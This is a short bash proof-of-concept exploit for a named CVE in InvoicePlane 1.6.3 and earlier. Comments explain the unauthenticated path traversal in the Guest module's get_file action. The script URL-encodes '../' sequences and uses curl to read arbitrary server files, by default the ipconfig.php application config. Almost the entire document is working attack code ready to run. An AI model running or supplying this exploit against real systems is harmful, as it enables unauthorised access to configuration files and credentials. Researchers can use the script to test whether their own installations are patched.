#!/usr/bin/env bash
# CVE-2026-23491 - InvoicePlane <= 1.6.3 unauthenticated path traversal
# in the Guest module's Get::get_file() controller action.
#
# The controller urldecode()s the "filename" path segment and concatenates it
# onto the fixed uploads/customer_files/ base directory before passing the
# result straight to readfile(), with no traversal-sequence sanitization.
# A URL-encoded "../" sequence therefore escapes the upload directory and
# lets an unauthenticated caller read arbitrary files readable by the web
# server user (application config, source, etc.).
#
# Usage:
#   ./exploit.sh <base_url> [relative-path-to-read]
#
# Example:
#   ./exploit.sh http://localhost
#   ./exploit.sh http://localhost ../../ipconfig.php

set -euo pipefail

BASE_URL="${1:-http://localhost}"
TARGET_FILE="${2:-../../ipconfig.php}"

# URL-encode the traversal sequence's "/" as %2f, matching the original PoC.
ENCODED_PATH="$(printf '%s' "$TARGET_FILE" | sed 's#/#%2f#g')"

echo "[*] Target:   $BASE_URL"
echo "[*] Reading:  $TARGET_FILE (relative to uploads/customer_files/)"
echo

curl -s "${BASE_URL%/}/index.php/guest/get/get_file/${ENCODED_PATH}"